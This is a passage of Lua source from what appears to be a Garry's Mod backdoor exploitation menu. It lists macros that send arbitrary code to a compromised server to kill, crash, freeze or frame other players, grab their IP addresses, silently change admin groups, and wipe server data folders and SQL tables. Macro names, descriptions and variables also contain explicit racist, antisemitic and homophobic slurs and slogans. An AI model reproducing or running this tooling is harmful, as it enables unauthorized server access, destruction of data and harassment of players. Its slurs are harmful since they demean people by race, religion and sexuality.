10150 ["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 = dangerous
10151 ["Code"] = [[v:Kill()]],
10152 ["Desc"] = ""
10153 },
10154 ["Fumble player"] = {
10155 ["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 = dangerous
10156 ["Code"] = [[v:DropWeapon( v:GetActiveWeapon() )]],
10157 ["Desc"] = "Knocks their current weapon out of their hand"
10158 },
10159 ["Strip weapons"] = {
10160 ["Type"] = 2,
10161 ["Code"] = [[v:StripWeapons()]],
10162 ["Desc"] = ""
10163 },
10164 ["Rocket"] = {
10165 ["Type"] = 2,
10166 ["Code"] = [[v:SetVelocity( Vector(0, 0, 9000) )]],
10167 ["Desc"] = "Sends them flying up into the air"
10168 },
10169 ["Rocket (Spastic)"] = {
10170 ["Type"] = 2,
10171 ["Code"] = [[v:SetVelocity( Vector(math.random( -9000, 9000), math.random( -9000, 9000), 9000) )]],
10172 ["Desc"] = "HOLY SHIIIIIIIIIIIT"
10173 },
10174 ["Change model"] = {
10175 ["Type"] = 2,
10176 ["Code"] = [[v:SetModel( @1 )]],
10177 ["Desc"] = "Set their player model to the specified string (1st paremeter)",
10178 ["NeedsParameters"] = 1
10179 },
10180 ["Set health + armor"] = {
10181 ["Type"] = 2,
10182 ["Code"] = [[v:SetHealth( @1 ) v:SetArmor( @2 ) ]],
10183 ["Desc"] = "Sets their health (1st paremeter) and armor (2nd paremeter)",
10184 ["NeedsParameters"] = 2
10185 },
10186 ["Ear rape"] = {
10187 ["Type"] = 2,
10188 ["Code"] = [[
10189
10190 local snd = {
10191
10192 [1] = "npc/stalker/go_alert2a.wav",
10193
10194 [2] = "vo/npc/male01/question06.wav",
10195
10196 [3] = "ambient/energy/zap1.wav",
10197
10198 [4] = "weapons/knife/knife_stBD.wav",
10199
10200 [5] = "vo/ravenholm/madlaugh04.wav",
10201
10202 [6] = "npc/antlion_guard/antlion_guard_die1.wav",
10203
10204 [7] = "vo/breencast/br_collaboration01.wav,"
10205
10206 }
10207
10208 v:EmitSound( snd[tonumber(@1)], 100, 100 )
10209
10210 ]],
10211 ["Desc"] = "Make them emit a sound (1st paremeter is a number 1-7)",
10212 ["NeedsParameters"] = 1
10213 },
10214 ["Ear rape (from internet)"] = {
10215 ["Type"] = 2,
10216 ["Code"] = [[
10217
10218 BDSendLua( v, 'if soundrape then soundrape:Remove() soundrape = nil return end soundrape = vgui.Create( "DFrame" ) soundrape:SetSize( 1, 1 ) local html = vgui.Create( "HTML", soundrape ) html:OpenURL( @1 )' )
10219
10220 ]],
10221 ["Desc"] = "Make them hear a sound from a URL (1st paremeter). Sending a new sound will stop the previous one. Send an invalid url to stop all sounds entirely on their client",
10222 ["NeedsParameters"] = 1
10223 },
10224 ["Eye rape (from internet)"] = {
10225 ["Type"] = 2,
10226 ["Code"] = [[
10227
10228 BDSendLua( v, 'if bdeyerape then bdeyerape:Remove() bdeyerape = nil return end bdeyerape = vgui.Create( "DFrame" )bdeyerape:SetDraggable( false )bdeyerape:SetSize( ScrW(), ScrH() )bdeyerape:SetTitle( "" )bdeyerape:ShowCloseButton( false )local html = vgui.Create( "HTML", bdeyerape )html:Dock( FILL )html:OpenURL( @1 )' )
10229
10230 ]],
10231 ["Desc"] = "Make them see a full screen, unclosable panel from a URL (1st paremeter). Sending a new url will stop the previous one. Send an invalid url to clear their view entirely",
10232 ["NeedsParameters"] = 1
10233 },
10234 ["Rave Mode"] = {
10235 ["Type"] = 2,
10236 ["Code"] = [[
10237
10238 BDSendLua( v, 'if hook.GetTable().HUDPaint.drugznigga then hook.Remove( "HUDPaint", "drugznigga" ) else hook.Add( "HUDPaint", "drugznigga", function() local cin = math.sin( CurTime() * 10 ) * 255 surface.SetDrawColor( Color( cin, -cin, cin, 100 ) ) surface.DrawRect( 0, 0, ScrW(), ScrH() ) end) end' )
10239
10240 ]],
10241 ["Desc"] = "Make them loosen up and join the party"
10242 },
10243 ["Rave Music"] = {
10244 ["Type"] = 2,
10245 ["Code"] = [[
10246
10247 BDSendLua( v, 'surface.PlaySound( "music/hl1_song25_remix3.mp3" )' )
10248
10249 ]],
10250 ["Desc"] = "DOOF DOOF NIGGA"
10251 },
10252 ["Whisper"] = {
10253 ["Type"] = 2,
10254 ["Code"] = [[v:ChatPrint( @1 )]],
10255 ["Desc"] = "Anonymously whisper text into their chatbox (1st paremeter)",
10256 ["NeedsParameters"] = 1
10257 },
10258 ["Whisper (advanced)"] = {
10259 ["Type"] = 2,
10260 ["Code"] = [[
10261
10262 BDSendLua( v, 'chat.AddText( Color( @2, @3, @4 ), @1 )' )
10263
10264 ]],
10265 ["Desc"] = "Anonymously whisper coloured text into their chatbox (1st paremeter = text, 2nd = r, 3rd = g, 4th = b)",
10266 ["NeedsParameters"] = 1
10267 },
10268 ["Ignite player"] = {
10269 ["Type"] = 2,
10270 ["Code"] = [[v:Ignite( 30 )]],
10271 ["Desc"] = "Ignite players for 30 seconds, spam repeatedly to refresh the duration"
10272 },
10273 ["Toggle godmode"] = {
10274 ["Type"] = 2,
10275 ["Code"] = [[if v:HasGodMode() then v:GodDisable() else v:GodEnable() end]],
10276 ["Desc"] = ""
10277 },
10278 ["Crash their gmod"] = {
10279 ["Type"] = 2,
10280 ["Code"] = [[v:SendLua("function fag() return fag() end fag()")]],
10281 ["Desc"] = "Instantly freezes their game solid, the only way to fix it is ctrl-alt-delete or a computer restart"
10282 },
10283 ["Toggle serverside speedhack"] = {
10284 ["Type"] = 2,
10285 ["Code"] = [[if !v.Sanic then v:SetRunSpeed( 1200 ) v:SetWalkSpeed(800) v.Sanic = true else v:SetRunSpeed( 240 ) v:SetWalkSpeed( 160 ) v.Sanic = false end]],
10286 ["Desc"] = "GOTTA GO FAST"
10287 },
10288 ["Freeze/Unfreeze player"] = {
10289 ["Type"] = 2,
10290 ["Code"] = [[v:Freeze( !v:IsFrozen() )]],
10291 ["Desc"] = ""
10292 },
10293 ["Force say"] = {
10294 ["Type"] = 2,
10295 ["Code"] = [[v:Say(@1)]],
10296 ["Desc"] = "Forces them to say the specified string in chat (first parameter)",
10297 ["NeedsParameters"] = 1
10298 },
10299 ["Force concommand"] = {
10300 ["Type"] = 2,
10301 ["Code"] = [[v:ConCommand(@1)]],
10302 ["Desc"] = "Forces them to run the specified console command (first parameter)",
10303 ["NeedsParameters"] = 1
10304 },
10305 ["Grab IP"] = {
10306 ["Type"] = 2,
10307 ["Code"] = [[ for _, p in pairs(player.GetAll()) do if %LP then p:ChatPrint( v:Nick().." : "..v:IPAddress() ) end end]],
10308 ["Desc"] = "Prints their IP Address to your console"
10309 },
10310 ["DarkRP add/remove money"] = {
10311 ["Type"] = 2,
10312 ["Code"] = [[v:addMoney(@1)]],
10313 ["Desc"] = "Adds money to their wallet (first parameter) remember that you can use negative numbers to subtract money",
10314 ["NeedsParameters"] = 1
10315 },
10316 ["DarkRP force job"] = {
10317 ["Type"] = 2,
10318 ["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:changeTeam(i, true, true) end end]],
10319 ["Desc"] = "Change their team to the specified job (1st parameter = job name, does not require capitalization)",
10320 ["NeedsParameters"] = 1
10321 },
10322 ["Force team switch"] = {
10323 ["Type"] = 2,
10324 ["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:SetTeam( i ) end end]],
10325 ["Desc"] = "Change their team to the specified team name (1st parameter)",
10326 ["NeedsParameters"] = 1
10327 },
10328 ["Noclip player"] = {
10329 ["Type"] = 2,
10330 ["Code"] = [[if v:GetMoveType() != MOVETYPE_NOCLIP then v:SetMoveType(MOVETYPE_NOCLIP) else v:SetMoveType(MOVETYPE_WALK) end]],
10331 ["Desc"] = "Toggles noclip on the specified players"
10332 },
10333 ["Give weapon to player"] = {
10334 ["Type"] = 2,
10335 ["Code"] = [[v:Give( @1 )]],
10336 ["Desc"] = "Gives this player a weapon (first parameter)",
10337 ["NeedsParameters"] = 1
10338 },
10339 ["Give ammo to player"] = {
10340 ["Type"] = 2,
10341 ["Code"] = [[v:GiveAmmo( @1, @2, false )]],
10342 ["Desc"] = "Gives this player some ammo (first parameter = amount of ammo, secound parameter = ammo type)",
10343 ["NeedsParameters"] = 2
10344 },
10345 ["Teleport (them to your cursor)"] = {
10346 ["Type"] = 2,
10347 ["Code"] = [[
10348
10349 local tp = false
10350
10351 local tpos
10352
10353 for _, p in pairs(player.GetAll()) do if %LP then tpos = p:GetEyeTraceNoCursor().HitPos tp = true end end
10354
10355 if tp then v:SetPos( tpos ) end
10356
10357 ]],
10358 ["Desc"] = "Teleports the selected players to your cursor location, not recommended for more than 1 person at once"
10359 },
10360 ["Teleport (you to them)"] = {
10361 ["Type"] = 2,
10362 ["Code"] = [[
10363
10364 local tp = false
10365
10366 local tpos = v:GetPos() + Vector( 32, 0, 10)
10367
10368 for _, p in pairs(player.GetAll()) do if %LP then p:SetPos( tpos ) end end
10369
10370 ]],
10371 ["Desc"] = "Teleport yourself to the selected player, may end with you stuck inside a wall"
10372 },
10373 ["Teleport (blink)"] = {
10374 ["Type"] = 2,
10375 ["Code"] = [[
10376
10377 local tpos = v:GetEyeTraceNoCursor().HitPos
10378
10379 v:SetPos( tpos )
10380
10381 ]],
10382 ["Desc"] = "Use on yourself or others to warp them to where they are looking"
10383 },
10384 ["Spawn entity near player"] = {
10385 ["Type"] = 2,
10386 ["Code"] = [[
10387
10388 local tr = {}
10389
10390 tr.start = v:GetShootPos()
10391
10392 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
10393
10394 tr.filter = {v}
10395
10396 local trace = util.TraceLine(tr)
10397
10398 local dix = ents.Create( @1 )
10399
10400 dix:SetPos(trace.HitPos)
10401
10402 dix:SetAngles(Angle(0,0,0))
10403
10404 dix:Spawn()
10405
10406 ]],
10407 ["Desc"] = "Spawn an entity in front of this player (first parameter = entity class), cannot spawn cars!",
10408 ["NeedsParameters"] = 1
10409 },
10410 ["Spawn prop near player"] = {
10411 ["Type"] = 2,
10412 ["Code"] = [[
10413
10414 local tr = {}
10415
10416 tr.start = v:GetShootPos()
10417
10418 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
10419
10420 tr.filter = {v}
10421
10422 local trace = util.TraceLine(tr)
10423
10424 local dix = ents.Create( "prop_physics" )
10425
10426 dix:SetPos(trace.HitPos)
10427
10428 dix:SetAngles(Angle(0,0,0))
10429
10430 dix:SetModel( @1 )
10431
10432 dix:Spawn()
10433
10434 ]],
10435 ["Desc"] = "Spawn a world prop in front of this player (first parameter = model)",
10436 ["NeedsParameters"] = 1
10437 },
10438 ["Spawn evil npc near player"] = {
10439 ["Type"] = 2,
10440 ["Code"] = [[
10441
10442 local tr = {}
10443
10444 tr.start = v:GetShootPos()
10445
10446 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
10447
10448 tr.filter = {v}
10449
10450 local trace = util.TraceLine(tr)
10451
10452 local dix = ents.Create( "npc_citizen" )
10453
10454 dix:SetPos(trace.HitPos)
10455
10456 dix:SetAngles(Angle(0,0,0))
10457
10458 dix:SetKeyValue( "additionalequipment", table.Random({"weapon_shotgun", "weapon_smg1", "weapon_ar2"}) )
10459
10460 dix:SetKeyValue( "citizentype", 3 )
10461
10462 dix:AddRelationship("player D_HT 200")
10463
10464 dix:SetCurrentWeaponProficiency(WEAPON_PROFICIENCY_PERFECT)
10465
10466 dix:SetSchedule( SCHED_IDLE_WANDER )
10467
10468 dix:Spawn()
10469
10470 ]],
10471 ["Desc"] = "Spawn a hostile NPC in front of this player"
10472 },
10473 ["Death ray"] = {
10474 ["Type"] = 2,
10475 ["Code"] = [[
10476
10477 local trace = v:GetEyeTraceNoCursor()
10478
10479 if trace.Entity:IsValid() then trace.Entity:Remove() end
10480
10481 ]],
10482 ["Desc"] = "Vaporize whatever this player is looking at"
10483 },
10484 ["Death ray (explosive)"] = {
10485 ["Type"] = 2,
10486 ["Code"] = [[
10487
10488 local trace = v:GetEyeTraceNoCursor()
10489
10490 local explo = ents.Create("env_explosion")
10491
10492 explo:SetPos(trace.HitPos)
10493
10494 explo:SetKeyValue("iMagnitude", "250")
10495
10496 explo:Spawn()
10497
10498 explo:Activate()
10499
10500 explo:Fire("Explode", "", 0)
10501
10502 ]],
10503 ["Desc"] = "Blow up whatever this player is looking at"
10504 },
10505 ["Precise Artillery Strike"] = {
10506 ["Type"] = 2,
10507 ["Code"] = [[
10508
10509 local trace = v:GetEyeTraceNoCursor()
10510
10511 timer.Create( "uiashfuasfas"..v:UniqueID()..math.random(-9999, 99999), 0.2, 15, function()
10512
10513 local explo = ents.Create("env_explosion")
10514
10515 explo:SetPos(trace.HitPos + Vector( math.random( -500, 500), math.random( -500, 500), math.random( -500, 500) ) )
10516
10517 explo:SetKeyValue("iMagnitude", "250")
10518
10519 explo:Spawn()
10520
10521 explo:Activate()
10522
10523 explo:Fire("Explode", "", 0)
10524
10525 end)
10526
10527 ]],
10528 ["Desc"] = "Blow up whatever this player is looking at"
10529 },
10530 ["Woman Driver"] = {
10531 ["Type"] = 2,
10532 ["Code"] = [[
10533
10534 local trace = v:GetEyeTraceNoCursor()
10535
10536 local car = ents.Create("prop_physics")
10537
10538 local trace2 = util.TraceLine( { start = trace.HitPos, endpos = trace.HitPos + Vector( 0, 0, 5000000 ), mask = MASK_SOLID_BRUSHONLY } )
10539
10540 car:SetModel( "models/props_vehicles/car002a_physics.mdl" )
10541
10542 car:SetAngles( v:GetAngles() )
10543
10544 car:SetPos( trace2.HitPos + Vector( 0, 0, -60 ) )
10545
10546 car:Spawn()
10547
10548 car:Activate()
10549
10550 car.boom = 6
10551
10552 car:GetPhysicsObject():SetVelocity( Vector( 0, 0, -5000 ) )
10553
10554 car:Ignite( 500 )
10555
10556 car:AddCallback( "PhysicsCollide", function( car, dat )
10557
10558 local explo = ents.Create("env_explosion")
10559
10560 explo:SetPos( car:GetPos() )
10561
10562 explo:SetKeyValue("iMagnitude", "350")
10563
10564 explo:Spawn()
10565
10566 explo:Activate()
10567
10568 explo:Fire("Explode", "", 0)
10569
10570 local ef = EffectData()
10571
10572 ef:SetOrigin( car:GetPos() )
10573
10574 ef:SetMagnitude( 5 )
10575
10576 ef:SetScale( 200 )
10577
10578 util.Effect( "ThumperDust", ef )
10579
10580 car.boom = car.boom - 1
10581
10582 if car.boom < 0 then car:Remove() end
10583
10584 end )
10585
10586 timer.Simple( 30, function() if car:IsValid() then car:Remove() end end)
10587
10588 ]],
10589 ["Desc"] = "Make exploding vehicles rain from the sky"
10590 },
10591 ["Poison Gas"] = {
10592 ["Type"] = 2,
10593 ["Code"] = [[
10594
10595 local trace = v:GetEyeTraceNoCursor()
10596
10597 local ar2Explo = ents.Create("env_ar2explosion")
10598
10599 ar2Explo:SetOwner(game.GetWorld())
10600
10601 local p = trace.HitPos
10602
10603 ar2Explo:SetPos(trace.HitPos)
10604
10605 ar2Explo:Spawn()
10606
10607 ar2Explo:Activate()
10608
10609 ar2Explo:Fire("Explode", "", 0)
10610
10611 timer.Create( "gasthekikes_"..math.random(-9999, 9999).."_"..math.random(-9999, 9999), 0.25, 35, function()
10612
10613 for _, ent in pairs(ents.FindInSphere( p, 500)) do
10614
10615 if !ent:IsPlayer() then continue end
10616
10617 local d = DamageInfo()
10618
10619 d:SetDamage( 1 )
10620
10621 d:SetAttacker( game.GetWorld() )
10622
10623 d:SetInflictor( game.GetWorld() )
10624
10625 d:SetDamageType( DMG_DROWN )
10626
10627 ent:TakeDamageInfo( d )
10628
10629 end
10630
10631 end)
10632
10633
10634
10635 ]],
10636 ["Desc"] = "GAS THE JEWS RACE WAR NOW"
10637 },
10638 ["Spawn vehicle near player"] = {
10639 ["Type"] = 2,
10640 ["Code"] = [[
10641
10642 local trc = {}
10643
10644 trc.start = v:GetShootPos()
10645
10646 trc.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
10647
10648 trc.filter = {v}
10649
10650 local tr = util.TraceLine(trc)
10651
10652
10653
10654 local VehicleList = list.Get( "Vehicles" )
10655
10656 local vehicle = VehicleList[ @1 ]
10657
10658 if ( !vehicle ) then return end
10659
10660 local Angles = v:GetAngles()
10661
10662 Angles.pitch = 0
10663
10664 Angles.roll = 0
10665
10666 Angles.yaw = Angles.yaw + 180
10667
10668
10669
10670 local pos = tr.HitPos
10671
10672 if ( vehicle.Offset ) then
10673
10674 pos = pos + tr.HitNormal * vehicle.Offset
10675
10676 end
10677
10678 local Ent = ents.Create( vehicle.Class )
10679
10680 if ( !Ent ) then return end
10681
10682 duplicator.DoGeneric( Ent, vehicle )
10683
10684 if ( vehicle.Model == "models/buggy.mdl" ) then Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jeep_test.txt" ) end
10685
10686 if ( vehicle.Model == "models/vehicle.mdl" ) then Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jalopy.txt" ) end
10687
10688 if ( vehicle && vehicle.KeyValues ) then
10689
10690 for k, v in pairs( vehicle.KeyValues ) do
10691
10692 Ent:SetKeyValue( k, v )
10693
10694 end
10695
10696 end
10697
10698 Ent:SetModel( vehicle.Model )
10699
10700 Ent:SetAngles( Angles )
10701
10702 Ent:SetPos( pos )
10703
10704 Ent:Spawn()
10705
10706 Ent:Activate()
10707
10708 if ( Ent.SetVehicleClass && @1 ) then Ent:SetVehicleClass( @1 ) end
10709
10710 Ent.VehicleName = vehicle.Class
10711
10712 Ent.VehicleTable = @1
10713
10714 Ent.ClassOverride = vehicle.Class
10715
10716 ]],
10717 ["Desc"] = "Spawn a vehicle in front of this player (first parameter = vehicle class), don't try to spawn ents with this ya dingus!",
10718 ["NeedsParameters"] = 1
10719 },
10720 ["Kick player"] = {
10721 ["Type"] = 2,
10722 ["Code"] = [[ v:Kick( @1 ) ]],
10723 ["Desc"] = "First parameter = reason for kick"
10724 },
10725 ["Niggerize player"] = {
10726 ["Type"] = 2,
10727 ["Code"] = [[ if !v.Niggered then v:SetColor( Color( 0, 0, 0 ) ) v.Niggered = true else v:SetColor( Color(255, 255, 255) ) v.Niggered = false end ]],
10728 ["Desc"] = "Turns them black as night"
10729 },
10730 ["Cloak player"] = {
10731 ["Type"] = 2,
10732 ["Code"] = [[ if !v.BDCloaked then v:SetRenderMode( RENDERMODE_NONE ) v.BDCloaked = true else v:SetRenderMode( RENDERMODE_NORMAL ) v.BDCloaked = false end ]],
10733 ["Desc"] = "Toggles cloaking on the player, people can still see the weapon they are holding however"
10734 },
10735 ["Allahu Ackbar"] = {
10736 ["Type"] = 2,
10737 ["Code"] = [[
10738
10739 local explo = ents.Create("env_explosion")
10740
10741 explo:SetOwner(v)
10742
10743 explo:SetPos(v:GetPos())
10744
10745 explo:SetKeyValue("iMagnitude", "250")
10746
10747 explo:Spawn()
10748
10749 explo:Activate()
10750
10751 explo:Fire("Explode", "", 0)
10752
10753 if v:Alive() then v:Kill() end
10754
10755 ]],
10756 ["Desc"] = "Blows them the fuck up, all kills are attributed to them so its great for getting random assholes banned"
10757 },
10758 ["ULX set access"] = {
10759 ["Type"] = 2,
10760 ["Code"] = [[ local userInfo = ULib.ucl.authed[ v:UniqueID() ] ULib.ucl.addUser( v:UniqueID(), userInfo.allow, userInfo.deny, @1 ) ]],
10761 ["Desc"] = "If ulx is installed this will (silently!) set them to the specified usergroup (1st parameter)",
10762 ["NeedsParameters"] = 1
10763 },
10764 ------------------------ dangerous codens ------------------------
10765 ["DarkRP clear all money"] = {
10766 ["Type"] = 3,
10767 ["Code"] = [[RunConsoleCommand("rp_resetallmoney")]],
10768 ["Desc"] = "Kids will cry to the admins for the next week about losing their precious money"
10769 },
10770 ["Cleanup map"] = {
10771 ["Type"] = 3,
10772 ["Code"] = [[game.CleanUpMap()]],
10773 ["Desc"] = "Wipe the map clean, taking everybodys cars, printers and bases out"
10774 },
10775 ["Vaporize all players"] = {
10776 ["Type"] = 3,
10777 ["Code"] = [[for k, v in pairs(player.GetAll()) do v:Remove() end]],
10778 ["Desc"] = "Deletes their player entity, leaving them staring at a wall of errors"
10779 },
10780 ["FPP Unrestrict everything"] = {
10781 ["Type"] = 3,
10782 ["Code"] = [[FPP.Blocked = {} FPP.BlockedModels = {} FPP.RestrictedTools = {} FPP.RestrictedToolsPlayers = {} ]],
10783 ["Desc"] = ""
10784 },
10785 ["Wipe data folder"] = {
10786 ["Type"] = 3,
10787 ["Code"] = [[local files, directories = file.Find( "*", "DATA" ) for k, v in pairs( files ) do file.Delete( v ) end ]],
10788 ["Desc"] = "Wipe the servers data folder, fucking all their settings and stuff up"
10789 },
10790 ["Wipe DarkRP SQL Tables"] = {
10791 ["Type"] = 3,
10792 ["Code"] = [[ MySQLite.query ('DROP TABLE darkrp_player' MySQLite.query('CREATE TABLE IF NOT EXISTS darkrp_player(idx INTEGER NOT NULL)') ]],
10793 ["Desc"] = "Completely fucks darkrp, forces them to reinstall the entire server"
10794 }
10795}
10796
10797local selectedbackdoor = ""
10798local backdoorargs = ""
10799local selectedplayers = {}
10800
10801function BD.GenerateBackdoorList(parent, category)
10802 for k, v in SortedPairs(BD.BDMacros, false) do
10803 if v["Type"] ~= category then continue end
10804 local plypanel2 = vgui.Create("DPanel")
10805 plypanel2:SetPos(0, 0)
10806 plypanel2:SetSize(200, 25)
10807
10808 -- Paint function
10809 plypanel2.Paint = function()
10810 draw.RoundedBoxEx(8, 1, 1, plypanel2:GetWide(), plypanel2:GetTall(), Color(0, 0, 0, 150), false, false, false, false)
10811
10812 if selectedbackdoor == k then
10813 surface.SetDrawColor(Color(70, 130, 180, 255))
10814 else
10815 surface.SetDrawColor(Color(0, 0, 0, 255))
10816 end
10817
10818 surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1, plypanel2:GetTall() - 1)
10819 end
10820
10821 local plyname = vgui.Create("DLabel", plypanel2)
10822 plyname:SetPos(10, 5)
10823 plyname:SetFont("Trebuchet18")
10824 local tcol = Color(255, 255, 255)
10825
10826 if v.Private then
10827 tcol = Color(155, 255, 155)
10828 end
10829
10830 plyname:SetColor(tcol)
10831 plyname:SetText(k)
10832 plyname:SetSize(180, 15)
10833 local faggot = vgui.Create("DButton", plypanel2)
10834 faggot:SetSize(plypanel2:GetWide(), plypanel2:GetTall())
10835 faggot:SetPos(0, 0)
10836 faggot:SetText("")
10837
10838 if v["Desc"] ~= "" then
10839 faggot:SetToolTip(v["Desc"])
10840 end
10841
10842 faggot.Paint = function(panel, w, h) return end
10843
10844 faggot.DoClick = function()
10845 selectedbackdoor = k
10846 end
10847
10848 parent:AddItem(plypanel2)
10849 end
10850end
10851
10852function BD.FormatCodeTargeted()
10853 if selectedbackdoor == "" then
10854 BD.ChatText("You haven't selected a macro to use!", Color(255, 155, 155))
10855
10856 return
10857 end
10858
10859 local param = string.Explode(",", backdoorargs)
10860 local ids = {}
10861
10862 for k, v in pairs(selectedplayers) do
10863 if not v:IsValid() then
10864 table.RemoveByValue(selectedplayers, v)
10865 continue
10866 end
10867
10868 table.insert(ids, v:UniqueID())
10869 end
10870
10871 local code = [[ local targets = ## for k, v in pairs( player.GetAll() ) do if !v:IsValid() then continue end if table.HasValue( targets, v:UniqueID() ) then %% end end ]]
10872 code = string.Replace(code, "##", table.ToString(ids))
10873 code = string.Replace(code, "%%", BD.BDMacros[selectedbackdoor]["Code"] or "")
10874 code = string.Replace(code, "%LP", "p:UniqueID() == \"" .. LocalPlayer():UniqueID() .. "\"")
10875
10876 if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "") then
10877 BD.ChatText("This macro requires parameters to work! check its description for more info", Color(255, 155, 155))
10878
10879 return
10880 end
10881
10882 if #param < 1 then
10883 param = {
10884 [1] = "derp",
10885 [2] = "derp",
10886 [3] = "derp",
10887 [4] = "derp",
10888 [5] = "derp"
10889 }
10890 end
10891
10892 for k, v in pairs(param) do
10893 code = string.Replace(code, "@" .. k, [["]] .. v .. [["]])
10894 end
10895
10896 BD.Fire(code)
10897end
10898
10899function BD.FormatCodeGlobal()
10900 if selectedbackdoor == "" then
10901 BD.ChatText("You haven't selected a macro to use!", Color(255, 155, 155))
10902
10903 return
10904 end
10905
10906 local param = string.Explode(",", backdoorargs)
10907 local code = BD.BDMacros[selectedbackdoor]["Code"]
10908
10909 if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "") then
10910 BD.ChatText("This macro requires parameters to work! check its description for more info", Color(255, 155, 155))
10911
10912 return
10913 end
10914
10915 if #param < 1 then
10916 param = {
10917 [1] = "derp",
10918 [2] = "derp",
10919 [3] = "derp",
10920 [4] = "derp",
10921 [5] = "derp"
10922 }
10923 end
10924
10925 for k, v in pairs(param) do
10926 code = string.Replace(code, "@" .. k, [["]] .. v .. [["]])
10927 code = string.Replace(code, "%LP", LocalPlayer():UniqueID())
10928 code = string.Replace(code, "%LCP", "p:UniqueID() == \"" .. LocalPlayer():UniqueID() .. "\"")
10929
10930 for k, v in pairs(BackDoor_net) do
10931 code = string.Replace(code, "%BD", v.NetWork)
10932 end
10933 end
10934
10935 BD.Fire(code)
10936end
10937
10938local safenet = net
10939
10940local function bdnet()
10941 if R8 and R8.G then return R8.G.net end
10942
10943 return safenet
10944end
10945
10946function BD.Fire(code)
10947 local cbd = BD.CurrentBackdoor
10948 local key = BD.BackdoorTypes[cbd].Netkey
10949 bdnet().Start(key)
10950 bdnet().WriteString(code)
10951 bdnet().SendToServer()
10952end
10953
10954surface.CreateFont("exitmenu", {
10955 font = "Arial",
10956 size = 20,
10957 weight = 1000,
10958 shadow = false,
10959 outline = false
10960})
10961
10962local function exitmenu(panel, X, y)
10963 local CButton = vgui.Create("DButton", panel)
10964 CButton:SetTextColor(Color(150, 150, 150))
10965 CButton:SetText("X")
10966 CButton:SetFont("exitmenu")
10967 CButton:SetPos(X, y)
10968 CButton:SetSize(50, 24)
10969
10970 CButton.DoClick = function()
10971 panel:SizeTo(0, 0, .2, 0, .2)
10972
10973 timer.Simple(0.3, function()
10974 panel:SetVisible(false)
10975 end)
10976 end
10977
10978 CButton.Paint = function(panel, w, h)
10979 surface.SetDrawColor(Color(0, 0, 0, 255))
10980 surface.DrawOutlinedRect(0, 0, CButton:GetSize())
10981 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
10982 end
10983
10984 CButton.OnCursorEntered = function(self)
10985 surface.PlaySound("garrysmod/ui_hover.wav")
10986
10987 CButton.Paint = function(panel, w, h)
10988 draw.RoundedBox(0, 0, 0, w, h, Color(220, 20, 60, 255))
10989 end
10990 end
10991
10992 -------------------------------------------------------------
10993 CButton.OnCursorExited = function(self)
10994 CButton.Paint = function(panel, w, h)
10995 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
10996 end
10997 end
10998 ------------------------------------------------------------------------
10999end
11000
11001local blur = Material("pp/blurscreen")
11002
11003local function DrawBlur(panel, amount)
11004 local x, y = panel:LocalToScreen(0, 0)
11005 local scrW, scrH = ScrW(), ScrH()
11006 surface.SetDrawColor(255, 255, 255)
11007 surface.SetMaterial(blur)
11008
11009 for i = 1, 3 do
11010 blur:SetFloat("$blur", (i / 3) * (amount or 6))
11011 blur:Recompute()
11012 render.UpdateScreenEffectTexture()
11013 surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
11014 end
11015end
11016
11017CreateClientConVar("menu_r", "148", true, false)
11018CreateClientConVar("menu_g", "0", true, false)
11019CreateClientConVar("menu_b", "211", true, false)
11020
11021function BD.BackdoorMenu()
11022 BD.Backdoors = BD.PingBackDoors()
11023 local BDMenu = vgui.Create("DFrame")
11024 BDMenu:Center()
11025 BDMenu:SizeTo(500, 400, .3, 0, .3)
11026 exitmenu(BDMenu, 449, 1)
11027 BDMenu:SetTitle(" ")
11028 BDMenu:ShowCloseButton(false)
11029 BDMenu:SetVisible(true)
11030 BDMenu:MakePopup()
11031
11032 function BDMenu:Paint()
11033 DrawBlur(self, 5)
11034 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
11035 surface.SetDrawColor(Color(0, 0, 0, 255))
11036 surface.DrawOutlinedRect(0, 0, BDMenu:GetSize())
11037 ---------------------------------------------------------
11038 --draw.SimpleText( "Player's", "exitmenu", 320, 25 , Color( 255, 255, 255, 200 ), 0, 0 )
11039 ---------------------------------------------------------
11040 surface.DrawOutlinedRect(0, 25, BDMenu:GetSize())
11041 -------------------------------------------------
11042 surface.DrawOutlinedRect(0, 0, 449, 26)
11043 --surface.DrawOutlinedRect( -6, 25, BDMenu:GetSize() )
11044 --
11045 --surface.DrawOutlinedRect( 0, -6, BDMenu:GetSize() )
11046 ------------------------------------------------
11047 end
11048
11049 local it = 145
11050 local Plist = vgui.Create("DPanelList", BDMenu)
11051 Plist:SetPos(5, 30)
11052 Plist:SetSize(200, 315)
11053 Plist:SetPadding(5)
11054 Plist:SetSpacing(5)
11055 Plist:EnableHorizontal(false)
11056 Plist:EnableVerticalScrollbar(true)
11057 Plist:SetName("")
11058
11059 Plist.Paint = function(self, w, h)
11060 DrawBlur(self, 5)
11061 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
11062 surface.SetDrawColor(Color(0, 0, 0, 255))
11063 surface.DrawOutlinedRect(0, 0, BDMenu:GetSize())
11064 end
11065
11066 local Plist4 = vgui.Create("DPanelList", BDMenu)
11067 Plist4:SetPos(210, 30)
11068 Plist4:SetSize(285, 315)
11069 Plist4:SetPadding(5)
